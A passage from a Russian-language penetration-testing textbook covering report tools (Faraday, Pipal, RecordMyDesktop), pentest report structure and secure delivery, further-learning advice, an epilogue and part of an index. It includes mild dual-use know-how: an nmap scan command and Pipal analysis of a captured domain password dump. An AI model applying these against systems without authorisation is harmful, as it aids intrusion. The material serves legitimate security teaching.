многопользовательская DIE/ среда тестирования на проникновение. Благодаря Faraday доступные инструменты сообщества могут использовать несколько пользователей. Пользователь не должен замечать разницы между собственным терминальным приложением и приложением, включенным в Faraday. Вы можете рассматривать его как среду разработки для программистов, которая помогает разработчикам в их работе. Faraday IDE делает то же самое для тестировщиков на проникновение. При первом запуске Faraday вам будет предложено изменить пароль пользователя; по умолчанию это «faraday». Для этого введите «fara-day» в качестве имени пользователя, а затем введите новый пароль. 320
15.1 Инструменты для отчета Рис. 15.2. Стартовый экран Faraday Затем откройте браузер — Firefox ESR, если вы не установили другой — http:// localhost:5985. Если вы нажмете кнопку Dashboard на стартовом экране, вы попадете на панель управления, где в правом верхнем углу найдете кнопку User Account (рис. 15.3). Здесь вы можете изменить свой пароль или тип лицензии. 321
Глава 15 Завершение теста на проникновение Рис. 15.3. Кнопка USERACCOUNT на приборной панели Faraday — это приложение с графическим интерфейсом, состоящее из терминала ZSH и списка страниц с подробной информацией о ваших рабочих пространствах и хостах. Если Faraday поддерживает запущенную вами команду, он автоматически распознает ее и импортирует результаты. В качестве примера приведем команду nmap –A 192.168.178.54, которую он преобразует на лету. Когда сканирование с помощью Nmap завершено, вы можете просмотреть подробную информацию о хосте, его службах и обнаруженных уязвимостях, дважды щелкнув на нужном хосте на вкладке HOST. Если вы проводили исследования с помощью инструментов, поддерживаемых Faraday, вы можете просмотреть собранные результаты в веб-интерфейсе, который может предоставить вам массу сведений. Чтобы получить полный обзор всей собранной информации и уязвимостей, вы также можете перенести результаты из других инструментов, например OpenVA S. Чтобы передать эти результаты, переключитесь на веб-интерфейс OpenVAS и войдите в систему. Затем откройте результаты сканирования (Scans|Reports); здесь вы можете загрузить отчет, если вы его выбрали, в виде XML в левом верхнем углу. ­ 322
15.1 Инструменты для отчета Рис. 15.4. Экспорт отчета OpenVAS в формат XML Затем переключитесь на среду разработки Faraday IDE. Там вы можете импортировать отчет в правом верхнем углу (символ папки). Для плагинов выберите соответствующий инструмент (в данном случае OpenVAS) и нажмите OK. После этого откроется окно; здесь вы можете выбрать отчет, который хотите импортировать. Перейдите в место хранения, выберите файл и нажмите кнопку Open. Рис. 15.5. Импорт отчетов в Faraday IDE Если вы переключитесь на HOSTS в IDE, вы увидите, как импортируются хосты. Наконец, вы можете просмотреть эти результаты в веб-интерфейсе. 323
Глава 15 Завершение теста на проникновение Это даст вам возможность просмотреть все собранные результаты в одном месте и создать итоговый отчет. 15.1.3 Pipal С помощью этого инструмента вы получаете только статистику и информацию, которая помогает анализировать пароли. Вы сами выполняете работу по интерпретации результатов. При проведении тестов на проникновение вы часто получаете список паролей, — например, дамп паролей от контроллера домена, который необходимо проанализировать. Pipal поможет с базовым анализом паролей. Также он предлагает список возможных опций с параметром -h. Например, если вы хотите отфильтровать пять лучших паролей из дампа, просто введите параметр -t5 и имена файлов дампа паролей: pipal -t 5 /usr/share/wordlists/passworddump.txt В результате вы получите список из пяти лучших паролей. 15.1.4 RecordMyDesktop RecordMyDesktop позволяет записывать то, что происходит/находится на экране, в реальном времени (или почти в реальном). Это особенно полезно для создания онлайн-курсов и инструкций: здесь гораздо лучше качество записи (без теней и проблем с освещением и позиционированием), чем съемка экрана видеокамерой. ­ RecordMyDesktop можно запустить из командной строки с помощью следующей команды: recordmydesktop NameOfTheRecording Если вы выполните команду без параметра NameTheRecording, вывод будет записан в файл с именем out.ogv и сохранен в вашем каталоге пользователя /home/. Запись продолжается до тех пор, пока вы не нажмете комбинацию Ctrl + C. 15.2 Отчет о тестировании Как и все другие задачи по тестированию на проникновение, написание хорошего отчета требует много практики. Недостаточно отправить клиенту сырую версию используемых инструментов. Только отдельные результаты, то есть релевантная информация из фазы разведки и выходные данные используемых инструментов, таких как Nmap или OpenVAS, аккуратно суммируются в одном отчете, но этого слишком мало. 324
15.2 Отчет о тестировании Некоторые инструменты, которые я уже описал, имеют функцию отчетности. OpenVAS может автоматически формировать отчеты на основе результатов сканирования. Однако их недостаточно для использования в качестве итогового отчета для клиента. Отчет об испытаниях должен быть хорошо структурирован и представлять собой единый документ. Если вы соберете вместе отчеты различных инструментов, каждый из которых написан в разном стиле, результат будет разрозненным и может запутать читателя. Однако вы все равно должны предоставить клиенту подробные результаты работы используемых инструментов. Немногие заказчики смогут понять технические результаты работы Nmap или OpenVAS, но эти данные принадлежат им, и поэтому важно их передать. Отчет о тестировании должен быть разделен на несколько отдельных частей. Вместе они образуют общий отчет, но должны функционировать и как самостоятельные. Структура хорошо составленного и презентабельного отчета о тестировании на проникновение должна включать как минимум следующие части: ◾ Резюме для руководства. ◾ Пошаговое описание того, как проводился тест на проникновение, чтобы дать читателю представление о том, как были успешно захвачены или взломаны системы. ◾ Подробный отчет. ◾ Необработанные результаты и вспомогательная информация. Рекомендуется четко называть отдельные разделы или подотчеты и начинать каждый из них на новой странице. Эффективно под заголовком каждого отдельного отчета подчеркнуть, что тест на проникновение — это лишь моментальный снимок. Безопасность сетей, компьютеров, систем и ПО постоянно варьируются. Угрозы и новая обнаруженная уязвимость быстро меняются. Если в системе еще нет уязвимости, которую можно использовать для проникновения сегодня, завтра вы можете легко проникнуть туда со вновь обнаруженной уязвимостью. Вот почему всегда важно перестраховаться и дать понять, что результаты действительны только в день проведения теста, завершившего проверку. Необходимо формировать реалистичные ожидания клиентов. Если вы не отключите компьютер от интернета, не зальете его бетоном и не сбросите в море, всегда есть риск, что эту систему могут взломать с помощью неизвестной техники или недавно обнаруженной уязвимости. Кроме того, у хакера в «черной шляпе» часто больше времени на проведение атаки на организацию, а у вас — всего несколько недель на тест. За это ограниченное время хакер в «белой шляпе» может не успеть провести сложную атаку. 325
Глава 15 Завершение теста на проникновение 15.2.1 Резюме для руководства Руководству важно получить краткое резюме с обзором основных результатов теста. Этот документ не должен превышать двух страниц и может касаться только основных результатов теста на проникновение. Никогда не используйте технические детали или термины. Этот отчет должен быть составлен так, чтобы высшее руководство и другие нетехнические специалисты могли понять важные проблемы, которые вы определили в инфраструктуре и системах. Пишите так, чтобы даже ваши бабушки и дедушки понимали, что произошло во время теста на проникновение и каковы были основные результаты. Конечно, если вы нашли уязвимости и возможности для атак, вам нужно сосредоточиться на объяснении влияния этих недостатков на бизнес. Включите перекрестные ссылки на подробный отчет, чтобы заинтересованный читатель мог ознакомиться с техническими деталями. Также рекомендуется повторить объем и цель испытания и провести общую оценку рисков для организации. 15.2.2 Расходы на сырье Заключительный отчет должен включать технические детали и основные расходы каждого инструмента, если того потребует организация-заказчик. Многие тестировщики на проникновение считают, что эта информация не входит в протокол испытаний. Эти данные уже могут включать несколько сотен страниц, их трудно читать и изучать. И вот дополнительный аргумент, выдвинутый тестировщиками на проникновение: сырые данные позволяют клиентам узнать, какие инструменты использовались в тесте. ­ Конечно, если вы используете свои собственные инструменты, скрипты или другой код для выполнения тестов на проникновение, понятно, что вы не хотите раскрывать информацию клиенту. Тем не менее это в основном безопасно, если вы добавите необработанный вывод используемых в отчете инструментов. Вам не нужно указывать команды и параметры, с помощью которых вы запускали такие инструменты, как Metasploit, Nmap или собственный письменный код, а только предоставлять вывод, который вышел с помощью команд. Если вы не хотите публиковать команды, то остается только отфильтровать вывод, чтобы предотвратить отображение команд и вручную удалить другую конфиденциальную информацию. В стандартном тесте на проникновение, где обычно используются только инструменты, описанные в книге, не должно быть проблемой прикрепить весь исходный вывод в конце отчета. Инструменты и команды, используемые для доступа к ним, широко известны, поэтому нет смысла скрывать эту информацию. Также желательно всегда включать перекрестные ссылки на инструменты и команды в подробные издания, чтобы вас не преследовали запросы от ваших клиентов, которые не уверены в результатах. 326
15.2 Отчет о тестировании Вам необходимо решить, включать ли исходные данные непосредственно в отчет или добавлять их как отдельный документ. Если их много, то, безусловно, имеет смысл подготовить второй, независимый отчет, а не прикладывать непосредственно к резюме для руководства и подробному отчету. 15.2.3 Завершение и представление отчета Не забывайте, что вам нужно достаточно времени, чтобы подготовить, прочитать и тщательно отредактировать свой отчет. Помимо технической точности, очень важно, чтобы документ не содержал орфографических и грамматических ошибок. Иначе клиент может подумать, что вы небрежны, а это не создаст хорошего впечатления. Тестовый отчет непосредственно отражает ваши навыки. Часто это единственный результат вашей работы, который увидит клиент. Поэтому оценка ваших навыков зависит от технической точности, ваших результатов в отчете, а также от его оформления и читабельности. Вы должны не только проверить отчет на наличие ошибок, но и внимательно посмотреть на результаты различных инструментов. Многие из них написаны хакерами с собственным чувством юмора, которое может не найти отклика в деловом мире. Например, использование инструментов может привести к неловкой ситуации. Burp Suite мог попытаться войти сотни раз в ту или иную службу, используя учетную запись «Peter Wiener» 79. Отчет будет содержать много примеров учетной записи пользователя с именем «Peter Wiener», которая выглядит не очень профессионально. Представление отчета деловым людям не создаст приятных ощущений, когда вы постоянно говорите о вымышленном пользователе по имени Peter Wiener. В этом случае вам придется винить только себя, потому что вы недостаточно изучили инструмент или не проверили результаты. Если бы вы продолжили изучение, то наверняка заметили бы пользователя раньше или получили объяснение от сотрудников PortSwigger, в котором показано, как можно было изменить имя пользователя в настройках конфигурации. ­ Можно спорить, оправдано ли утверждение, что ваша репутация специалиста по тестированию на проникновение напрямую зависит от качества отчетов. Однако составление грамотного отчета о проникновении крайне важно для привлечения постоянных клиентов и развития вашего бизнеса. Рекомендуется всегда иметь при себе образец отчета: потенциально новые клиенты часто хотят с ним ознакомиться, прежде чем нанять вас. 79 Русским аналогом будет «Питер Сосиска». — Прим. ред. 327
Глава 15 Завершение теста на проникновение Важно Помните, что образец отчета предназначен только для примера и не может содержать никаких реальных данных клиента. Не делитесь отчетом, который вы создали для клиента. Это приведет к массовому нарушению согласованных и негласно принятых отношений доверия между вами и клиентом. Вам также необходимо подумать о том, как вы будете предоставлять отчет клиентам. Самый простой способ — предоставить отчет в виде электронного документа. Если клиент настаивает на бумажном отчете, нужно его профессионально распечатать, переплести и отправить клиенту. Рекомендуется отправлять отчет заказным письмом с уведомлением о получении, чтобы гарантировать, что отчет действительно дошел до получателя. Если вы договорились с клиентом отправить документ в электронном виде, позаботьтесь о том, чтобы отчет был зашифрован и оставался секретным до тех пор, пока не попадет в руки клиента. Это необходимо, поскольку в отчете содержится чрезвычайно конфиденциальная информация об организации, которая должна оставаться конфиденциальной. Будет очень неловко, если отчет станет достоянием общественности только потому, что вы не приняли элементарные меры безопасности. Есть несколько способов обеспечения конфиденциальности. С помощью программы архивирования, такой как 7zip, вы можете сжимать файлы и предоставлять им пароль доступа. Лучший способ — зашифровать документы с помощью таких инструментов, как VeraCrypt 80. Независимо от того, какой инструмент вы используете для шифрования или защиты данных, у вашего клиента также должен быть какой то инструмент. Об этом вам необходимо договориться перед началом теста. Также может случиться, что ваш клиент даже не понимает основ криптографии. Поэтому запланируйте время, чтобы показать методы, иначе он не сможет прочитать ваш итоговый отчет. ‑ Большинство клиентов ожидают, что вы будете доступны для запросов после отправки отчета. В связи с техническим характером и детальностью теста на проникновение и отчета вы должны ждать вопросов. Думайте о времени, которое вы тратите на ответы, не как о раздражающем зле, а как о возможности произвести впечатление на клиента и обеспечить будущие возможности для бизнеса. Хорошее обслуживание на вес золота и часто окупается в несколько раз. Готовность работать с клиентом и предлагать дополнительные услуги также должна иметь смысл для бизнеса. Никогда не позволяйте себе пользоваться преимуществами, выходящими за рамки ваших договорных обязательств, 80 328 Можно загрузить на сайте инструмента: https://www.veracrypt.fr/en/Downloads.html.
15.3 Каковы дальнейшие действия? и не жертвуйте бесчисленными часами ради неоплачиваемой работы. Постарайтесь овладеть балансом между отличным обслуживанием клиентов и здоровым стремлением к прибыли. 15.3 Каковы дальнейшие действия? Теперь вы должны овладеть основами этичного взлома, поэтому для вас открыто еще много дверей. Мы только коснулись многих тем, поэтому вы, вероятно, захотите узнать больше об одной из них, конкретном этапе или технике. После того как вы досконально изучили основной материал этой книги, вы готовы взяться за еще более сложные темы. Цель книги не в том, чтобы сделать вас лучшим хакером или тестировщиком на проникновение. Она призвана стать ступенькой для расширения ваших знаний. Я могу порекомендовать вам приобрести прочную основу, освежив свои знания в области программирования, Active Directory и сетевых технологий. Если вы заинтересованы в практическом обучении, у вас есть много отличных двух-пятидневных интенсивных курсов на выбор. Они, как правило, очень дорогие и изнурительные, но стоят тех денег и усилий. На конференции Black Hat 81 часто предлагается множество специализированных курсов, которые проводят самые известные имена в отрасли. На этих мероприятиях вы можете выбрать тему по безопасности и специализированных предметов. Предложение меняется из года в год. Offensive Security 82 — компания, стоящая за Kali Linux и распространяющая ее, — также предлагает ряд практико-ориентированных интенсивных курсов и сертификаций. В них вы должны будете пройти ряд реалистичных сценариев. ­ Даже традиционные университеты и учебные заведения прикладных наук все чаще предлагают обучение в области IT-безопасности. Хотя раньше было сложнее найти курс по безопасности, сегодня большинство университетов предлагают хотя бы один курс по IT-безопасности. Во многих вузах можно получить степени в этой области на месте или в дистанционном обучении. В TU Graz, например, «Информационная безопасность» предлагается в качестве факультатива в магистерской программе. St. Pölten University of Applied Sciences предлагает «IT Security» как степень бакалавра, так и магистерские программы «Кибербезопасность и устойчивость» и «Информационная безопасность». 81 82 Информацию о конференции и учебных курсах можно найти на сайте Black Hat: https:// www.blackhat.com/ Информацию о курсах можно найти на домашней странице Offensive Security: https:// offsec.com/ 329
Глава 15 Завершение теста на проникновение Также стоит внимательно изучить различные методологии тестирования безопасности, например, OSSTMM 83 (Руководство по методологии тестирования безопасности с открытым исходным кодом), PTES 84 (Стандарт выполнения тестирования на проникновение), а также соответствующие публикации BSI (Федеральное ведомство по безопасности и информационным технологиям). PTES предоставляет специалистам по безопасности четко определенную и зрелую структуру для использования в связи со многими темами, рассмотренными в книге. Он был составлен специалистами-практиками, имеет технические детали и очень тщательный. Дополнительную информацию можно найти на домашней странице PTES. ­ Также рекомендуется Penetration Testing Framework (PTF 85) — еще одна отличная методология для тестирования на проникновение. Структура включает в себя шаблоны оценки и полный список инструментов для каждого этапа. 15.4 Резюме В этой главе вы узнали, как написать отчет о тесте на проникновение, что в него включить и каких подводных камней следует избегать хакерам без опыта написания подобных документов. Вы прочитали, как важно предоставить заказчику качественный отчет. В конце я дал вам несколько советов о том, как улучшить свои навыки после того, как вы овладеете основами. В частности, я упомянул, как можно продолжить обучение и как стать частью сообщества специалистов по безопасности. 83 84 https://www.isecom.org/research.html#content5–9d http://www.pentest-standard.org/ http://www.vulnerabilityassessment.co.uk/ ­ 85 330
Приложение А Эпилог Совет на будущее Если вы дочитали книгу до этого момента, то наверняка задаетесь вопросом: «Что теперь?» Но только вы сами можете на него ответить. Вам обязательно нужно практиковаться и осваивать основы и техники, описанные здесь. Как только вы освоите их, вы сможете перейти к более сложным темам и инструментам, о которых говорится в разделах «Что делать дальше?» Освоив материал этой книги, вы уже будете обладать солидными знаниями в области взлома и тестирования на проникновение. Теперь вы должны знать основы достаточно хорошо, чтобы перейти к более продвинутым темам или даже специализироваться. Не забывайте, что взлом и тестирование на проникновение — это не только работа с инструментами. Есть сообщества, посвященные этой теме, и стоит принять в них активное участие. Представляйтесь и учитесь, задавая вопросы и наблюдая. Вносите посильный вклад в работу. Сообщества, посвященные взлому, безопасности и тестированию на проникновение, доступны через различные веб-сайты, списки рассылки, форумы и социальные сети, и вы даже можете познакомиться с этими людьми лично. ­ В частности, социальные медиаплатформы предлагают возможность узнать больше о безопасности. Здесь пользователи часто задают вопросы на различные темы и получают ответы от других. Если вы никогда не были на конференции по безопасности, я могу порекомендовать вам посетить ее. Традиционно три крупнейшие хакерские конференции проходят в августе с интервалом в несколько дней: ◾ Black Hat. ◾ BSides. ◾ Defcon. Defcon зарекомендовал себя как одна из лучших конференций по безопасности. Люди, которые собираются здесь, как правило, приятные собеседники, особенно «гуны». Так называют официальный персонал Defcon: они дружелюбны и могут стараются быть полезными. Сообщество открыто и гостеприимно. Входная плата также умеренная, а программа всегда увлекательна. 331
Приложение А Эпилог Качество и разнообразие докладов просто поражают. Хотя каждый год конференция посвящена чему то другому, вы можете быть уверены, будут затронуты такие темы, как взлом сетей, безопасность веб-приложений, физическая безопасность, взлом оборудования и т. д. Самое интересное в этом мероприятии то, что докладчики не только располагают к себе, но и всегда находят время, чтобы ответить на ваши вопросы в формате один на один. Вы будете удивлены тем, насколько многие из них доступны и полезны. Вполне понятно, что вы немного нервничаете, когда подходите к одному из участников конференции, особенно если приходите из онлайн-сообщества, где «новички» подавляются и отговариваются от вопросов. Но если вы проявите инициативу, открытость всего сообщества Defcon приятно удивит вас. ‑ ­ Если вы не можете присутствовать на официальной конференции Defcon, вам следует постараться принять участие в других сообществах безопасности ближе к месту вашего проживания, таких как OWASP, форумы Kali Linux или даже CompTIA со своими сообществами в разных регионах мира. Да и многие другие предлагают большие возможности. Вступление в сообщество безопасности — это отличная возможность расширить свой кругозор и изучить дополнительные и более сложные концепции безопасности. Как только вы овладеете основами, вы сможете глубже погрузиться в отдельные области безопасности. Вам необязательно сразу определяться с будущей областью специализации, и даже если вы однажды специализировались в одной области, все еще есть возможность перейти в другую. Как правило, эксперты концентрируются на одной или двух областях безопасности, в которых они получают специальные знания. Приведенный ниже список призван лишь дать вам представление об областях, требующих дальнейшего обучения. Он неисчерпывающий. ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ 332 Наступательная безопасность/этичное хакерство. Безопасность веб-приложений. Системная безопасность. Обратное проектирование. Разработка инструментов. Анализ вредоносного ПО. Защитная безопасность. Программная безопасность. Цифровая криминалистика. Безопасность беспроводных систем.
Предметный указатель Заключительное замечание Если вы прочитали книгу от корки до корки, самое время остановиться на минуту и подумать о том, что вы узнали. Теперь вы должны уметь выполнять отдельные шаги, связанные с типичным тестом на проникновение, и использовать инструменты, необходимые для выполнения этих шагов. Вы теперь знаете, как проходит такой тест и как использовать информацию и результаты отдельных этапов для последующего этапа. Многие люди интересуются хакерством и тестированием на проникновение, но большинство новичков ограничиваются изучением того, как работает один инструмент или как выполняется один шаг. Часто они отказываются изучать предмет целиком. А когда инструмент не срабатывает или не приносит ожидаемых результатов, они остаются разочарованными. Такие люди не имеют представления о процессе в целом и не знают, как применить результаты одного этапа к последующим. Каждый, кто дочитал эту книгу до конца, понял все примеры и честно постарался разобраться в теме, теперь должен обладать хотя бы базовыми знаниями и навыками, позволяющими видеть общую картину и осознавать важность всех отдельных этапов. Одна из самых замечательных особенностей хакерства заключается в том, что вы так и не закончили обучение. Как правило, кто то разрабатывает новый метод или атаку, как только вы освоите определенную тему или технику. Это не значит, что ваши прежние навыки устарели. Напротив, только базовые знания позволят вам изучать новые сложные темы снова и снова на протяжении всей жизни и идти в ногу с быстрым развитием. ‑ Предметный указатель Автоматизация атаки 251 Автоматическая настройка сети 47 Авторизованные тесты безопасности 20 Административный доступ 136 Анализ информации 180 паролей 246 сетевого трафика 246 уязвимости 97 Анализатор сетевых протоколов 249 Аналитики кибербезопасности 19 Аппаратные компоненты компьютера 66 Архив 60 Архитектура процессора 99 Ассемблер 260 Атака на Java-апплет 291 Атаки клиентские 112, 113 нетехнические 29 операционные системы 30 сеть 30 Атакуемый компьютер 225 Аудит 19, 23 Аутентифицированное сканирование 100 «Белые шляпы» 18 Брандмауэр 165, 180 Буферное переполнение 259 Бэкдор 301 Валидация 109 Веб-паук 262 Веб-приложения 98, 106 Веб-сайт 159 Веб-сканер 158 Веб-транзакция 262 Вероятность возникновения опасности 101 Версия ОС 99 ПО 99 Взлом паролей по сети 233 Виды повреждения памяти 111 Виртуальная консоль 69 Виртуальная машина 59, 60 Встроенное устройство 40 Гибридный подход 108 Главная загрузочная запись 56 Глобальные настройки 72 Графический сеанс рабочего стола 69 Группа владельцев 75 Деактивация служб 83 Десктопные приложения 106 Диапазон портов 189 Директивы 162, 164 333
Предметный указатель Дистрибутив 64 Доказательства для теста 152 Документация 28 Документ Office 174 Домашний каталог 73 Домашняя страница Kali 59 Домен 168 Доступ к конфиденциальной информации 151 Доступ к файлам конфигурации 208 Доступность 95 Журнал 80 Загруженное изображение 61 Загрузочный диск 46 Загрузочный носитель 44 Загрузчик 55 Запрос whois 158 Запуск и остановка служб 82 Захват системы 219 Защита от эксплойтов 98 Идентификатор пользователя 80 Идентификация уязвимостей 202 Индексация 120 Инструмент грубой силы 217 Инструменты для взлома паролей 258 Интернет-магазин 273 Интерпретатор команд 69 Информация о времени выполнения 80 Инъекция кода 275 Исследование 156 Исходный код 64 Карты PCMCIA 81 Каталог 67 Категории пользователей 74 Кибер-преступник 155 Классификация уязвимостей 203 Клонированный вебсайт 160 Командная строка 69, 157 Комментарии 119 Коммуникационные ресурсы 81 334 Компьютер для атак 88 Компьютерная криминалистика 35 Конференция Black Hat 329 Конфигурации программ 64 Конфиденциальность 95 Корень 67 Красная команда 19 Критически важные системы 135 Кэш-прокси 53 Кэш-файлы 74 Линейная последовательность 121 Личные данные 22 Маршрутизатор 252 Межсайтовый скриптинг 112, 265, 278 Менеджер сервисов 84 Метаданные 174 Метод грубой силы 167 Микроконтроллер 299 Мобильные приложения 107 Мостовой сниффинг 252 Нагрузочное тестирование 213 Нарезка 120 Настоящее хакерство 136 Национальная база уязвимостей (NVD) 203 Национальный институт стандартов и технологий 149 Начальное значение 128 Неопределенность сетевых протоколов 247 Номер BID 223 CVE 101, 205, 223 Носитель данных 180 Нулевое сканирование 194, 195 Область применения 150 Облачные вычисления 261 Облачные сервисы 146 Обнаружение 203 Обновление Kali 62 Оболочка 70 Оболочка системы 69 Оболочка терминал 188 Оболочка Meterpreter 233 Обход аутентификации 275 Общение с клиентом 150 Общие уязвимости и слабые места (CVE) 203 Объединение 120 Онлайн-взлом 217 Операционная система на базе Unix 43 Отказ в обслуживании 18, 110, 114, 147 Отчет 28, 317 основные расходы 326 оценка рисков 326 резюме для руководства 326 Nmap 325 OpenVAS 325 Оценка белый ящик 107 виды 97 времени 138 приложений 97, 106, 107 регрессии HTTP/ HTTPS 212 рисков 101, 202 стандартизация 108 стандартная 106 черный ящик 107 Пакетный менеджер 55 Пакеты 186 Память 79 Пароль LM 235 Патч-уровень 99 Перенаправление 78 Переполнение буфера 97, 111 Перечисление 27 Периферийные устройства 185 Платформа Kali 108 Поворот 189 Повреждение памяти 114 Повторение 120 Поддомен 166 ПО для управления 315 Подмена ARP 253 Подсеть 88 Пользовательский агент 320 Порт 184 Порт-скан 135 Поставщик облачных услуг 109 Пост-эксплуатация 28 Потенциальная уязвимость безопасности 108 Права администратора 65 Права доступа 65 Правила применения 150 Программа-бэкдор 180 Программа по вознаграждению за найденные ошибки 19 Прокси-сервер 262 Пространство ядра 65 Протокол 80 Процесс 68, 79 Процессные приоритеты 68 Путь 67 Разведка 134, 168 Разделение 50 Разрешение имен без DNS-сервера 240 Распознавание хостов 189 Реагирование на инциденты 149 Реагирование на проблемы 202 Режим непрослушивания 244, 245 Режим прослушивания 244 Рендеринг 318 Ретрансляционная атака 243 Риск 96 Роль этичного хакера 19 Руткит 315 Сбой памяти 111 Сбор информации 27, 105, 135 автоматизированные инструменты 157 метаданные 175 новости 165 отчет о сайте 170 поисковые системы 161 почтовый сервер 173 форум 165 DNS-сервер 172 Fierce 173 Google 161 Maltego 175 MetaGooFil 175
Предметный указатель SearchDiggity 182 Sherlock 177 TheHarvester 166 Whois 168 Сборщик учетных данных (Credential Harvester) 291, 296 «Серые шляпы» 18 Сетевая карта 244 Сетевой сниффер 247 Сетевые файловые системы 68 Сигнатуры 98 Символы экранирования 121 Синяя команда 19 Система инициализации 82 Сканер уязвимостей 100 Сканеры Google 161 Сканирование 270 активное 158 пассивное 158 Сканирование уязвимостей 135 Скрипт 125, 126 Скрипт баннера 197 Скрипт-кидди 18 Службы 82, 184, 187 Служебный модуль 85 Сниффинг 244, 249 Соглашение о неразглашении конфиденциальной информации 137 Сообщение об злоупотреблении 211 Состояние гонки 98 Социальная инженерия 157 Социальные сети 166 Специалисты по тестированию на проникновение 19 Список групп 80 Список записанного трафика 250 Среда рабочего стола GNOME 41 Стандарты законодательные 103 отраслевые 103 Статистика 324 Степень воздействия 102 Сторонний поставщик 146 Суперпользователь 70 Текстовый редактор 78, 118 Терминал ZSH 322 Тестирование на проникновение в сети 199 Тест на соответствие 97, 103, 144 Тестовая среда 88 Типы прав 74 Точки данных 98 Традиционный тест на проникновение 97 Требования ко времени 152 Трехстороннее рукопожатие 189 Триада CIA 95 Угроза 96 Удаленное выполнение кода 222 Удаленное соединение 199 Удаленное тестирование 151 Удаленный доступ 216 Удаленный компьютер 225 Унифицированный сниффинг 252 Управление разрешениями 74 Управление сеансом 266 Уровень абстракции 66 Уровень угрозы 212 Условия использования интернет-провайдера 146 Условный оператор 121 Устройства блочные 66 символьные 66 Уязвимость 96 Фаза вторжения 216 проникновения 215 Файл исполняемый 75 конфигурации 73, 74, 165 права доступа 75 текстовый 78 управление 71 Файловое включение 97 Файловые системы виртуальные 66, 81 иерархия 72 Файлы cookie 279 Фильтр захвата 250 отображения 250 Фишинг 280 Фишинговые письма 29 Форма ввода и вывода 118 Форматирование 68 Форматы файловых систем 67 Функция интеллектуального сканирования 265 Футпринтинг 27, 155, 158 Хакер определение 15 типы 15 Хакерская командная оболочка 220 Хакерская лаборатория 87 Хеш 230 Хеш пароля 235 Целевые единицы 85 Целостность 95 Цель атаки 88 Цикл 128 for 123 while 123 Цифровой след 159 «Черные шляпы» 18 Эксплойт 29, 201, 204, 259 Эксплуатация и проникновение 28 Экстренные случаи 148 Электронные письма 173 Электронный почтовый сервер 173 Этичный хакинг 27 Ядра процессора 69 Ядро 80 Ядро ОС 65 ACK-пакет 191, 337–343 Active Directory 240 взлом 258 Address Space Layout Randomization (ASLR) 98 AFP 217 AppScan 265 Arch Linux 34 Arduino 299 Armitage 253 практика 258 Ask 165 AXFR 171 Backbox 32 Back Orifice 315 Base64 274 Bash 70, 124 Bind-Payload 227 Bing 165 Bkhive 232 BlackArch 34 Black Hat 331 BSI 330 BSides 331 Burp Suite 265, 286, 327 Burp Suite Community Edition 204 C 116 C++ 116 CAINE 37 CANVAS 220 cat 78 cd 70 Cheat-Sheets 25 chntpw 238, 258 Chromebook 40 CompTIA 332 CORE Impact 220 cp 71 Cracker 17 Cryptcat 307 CVE 197 CVSS 205 CVSS-оценка 101 Daemon 73, 82 Data Execution Prevention (DEP) 98 Debian 32, 34 Defcon 331 Deft Linux 35 df 79 dig 172 dmesg 80 DNS-запрос 173 DNS-отчет 158 DNS-сервер 173 DoS 30 DoS-атака 110 DoS-тестирование 147 Dotfiles 74 dsn2proxy 94 dsniff 246 DuckDuckGo 24 Dumpster Diving 30 DVWA 88, 285 echo 72 EDB ID 101 Enlightment 65 335
Предметный указатель Ethernet 247 Ettercap 251 Exchange Server 296 Fail Open 246 False Negative 99 False Positive 99 Faraday 320 Fedora Security Lab 37 FHS 72 Fierce 173 find 78 Format String 111 free 79 F-Secure BlackLight 311 FTP 216, 217 gedit 118 GNOME 3 32, 65 Google 161 взлом 158, 162 директивы 157, 162 кэш 164 поиск 163 Dork 158, 165 Hacking Database 164 grep 79 GRUB 55 Hail Mary 253 Heap Corruption 111 HTTP 217 HTTP-запросы и ответы 273 HTTP-прокси 53, 272 HTTP-соединения 270 HTTrack 159 Hydra 217 id 80 IMAP 217 input() 119 Integer Overflow 111 IP-адрес хоста 170 IPE 320 ISO-образ 39 Ispci 81 Ispcmcia 81 Isusb 81 Java 116, 291 JavaScript 116, 279 jobs 79 John the Ripper 233 journalctl 80 Juice Shop 89, 286 Kali Linux 60, 88 KDE 65 kill 79 LAN-Manager 235 legion 199 len() 120 Linux 24, 64 взлом паролей 237 обновление 90 Listener 302 LLMNR 240 ls 71 lshw 81 LXDE 65 MAC-адрес 245 MAC-Flooding 247 macof 247 macOS взлом паролей 237 Maltego 175 Man-in-the-Middle 251 MATE Desktop 34 MBR 55 Medusa 217 MetaGooFil 174 Metasploit 219, 220 ранги 223 Metasploitable 88 Metasploit Unleashed 257 Meterpreter 219, 220, 227 Microsoft Hyper-V 57 Microsoft SQL 217 mkdir 71 mount 67 msfconsole 221 MSSP 146 MS SQL 276 mv 71 MySQL 217, 276 nano 124 NCP 217 Netbus 315 Netcat 302, 315 NFS 68 Nikto 263 NIST 101 Nmap 158, 188, 203, 324 сканирование версий 193 Nmap Script Engine 185, 196 NNTP 217 nslookup 171 NTLM 236 NTP-сервер 50 Offensive Security 329 OpenVAS 204, 207, 324 веб-интерфейс 322 проверка установки 91 установка 91 OpenVZ 57 Oracle VirtualBox 57 OSSTMM 329 OSVDB 197 OWASP-ZAP 159, 281 Padding 138 PAM 72 Parallels Desktop для Mac 57 Parrot OS 34 PATH 71 Payloads 215, 221 PCAnywhere 216, 217 PCI -устройства 81 Pentoo Linux 35 PHP 116 PID 68, 79 ping 129 Pipal 324 Poisoning 240 POP3 217 PowerShell 299 print 118 ps aux 79 PTA 109 PTES 329, 330 PTF 330 pwd 70 Python 115, 124 QEMU 57 Qualys Community Edition 204 range() 123 RDP 216 RecordMyDesktop 324 Relay-Attack 243 Responder 240, 243 REXEC 217 RFC 194 RLOGIN 217 rm 71 Rootkit Revealer 310 RST-пакет 191 SAM 243 Samdump2 232 Scope Creep 139 SearchDiggity 182 SET 288 setgid 75 setuid 75 SHA 237 SHA-хеш 237 Siege 212 SMB 243 SMTP 217 SNMP 217 Socat 315 Sparta 199 Spider 262, 273 SQL 275 SQL-инъекции 97, 111 SSH 199, 216, 247 SSHv2 217 SSL HTTPS-соединения 270 Stack Buffer Overflow 111 Stack Overflow 25 Sticky-бит 75 Sub7 315 SYN-Scan 191 systemctl 82 Systemd 80 TCP 188, 302 TCP-соединение 189 Tcpdump 259 Telnet 199, 216, 218 Torrent 40 Tripwire 158 True Negative 99 True Positive 99 type 71 Ubuntu 32, 35, 37 UDP 188, 192, 302 umask 77 Unix 65 Unix-Crypt(3) 234 USB-накопитель с вредоносным Payload 297 USB-устройства 81 VeraCrypt 328 VFAT 